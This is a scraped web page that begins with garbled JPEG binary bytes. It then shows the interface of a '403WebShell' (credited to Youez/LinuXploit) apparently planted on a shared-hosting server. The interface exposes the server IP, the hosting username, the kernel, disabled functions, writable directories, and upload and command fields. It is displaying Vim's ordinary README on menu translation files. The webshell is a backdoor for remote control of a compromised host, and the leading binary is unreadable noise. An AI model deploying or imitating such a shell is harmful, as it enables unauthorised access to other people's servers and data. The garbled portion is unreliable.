JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.36  /  Your IP : 216.73.217.26
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/usr/share/vim/vim82/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/usr/share/vim/vim82/lang//README.txt
Language files for Vim: Translated menus

The contents of each menu file is a sequence of lines with "menutrans"
commands.  Read one of the existing files to get an idea of how this works.

More information in the on-line help:

	:help multilang-menus
	:help :menutrans
	:help 'langmenu'
	:help :language

The "$VIMRUNTIME/menu.vim" file will search for a menu translation file.  This
depends on the value of the "v:lang" variable.

	"menu_" . v:lang . ".vim"

When the 'menutrans' option is set, its value will be used instead of v:lang.

The file name is always lower case.  It is the full name as the ":language"
command shows (the LC_MESSAGES value).

For example, to use the Big5 (Taiwan) menus on MS-Windows the $LANG will be

	Chinese(Taiwan)_Taiwan.950

and use the menu translation file:

	$VIMRUNTIME/lang/menu_chinese(taiwan)_taiwan.950.vim

On Unix you should set $LANG, depending on your shell:

	csh/tcsh:	setenv LANG "zh_TW.Big5"
	sh/bash/ksh:	export LANG="zh_TW.Big5"

and the menu translation file is:

	$VIMRUNTIME/lang/menu_zh_tw.big5.vim

The menu translation file should set the "did_menu_trans" variable so that Vim
will not load another file.


AUTOMATIC CONVERSION

When Vim was compiled with multi-byte support, conversion between latin1 and
UTF-8 will always be possible.  Other conversions depend on the iconv
library, which is not always available.
For UTF-8 menu files which only use latin1 characters, you can rely on Vim
doing the conversion.  Let the UTF-8 menu file source the latin1 menu file,
and put "scriptencoding latin1" in that one.
Other conversions may not always be available (e.g., between iso-8859-# and
MS-Windows codepages), thus the converted menu file must be available.

Youez - 2016 - github.com/yon3zu
LinuXploit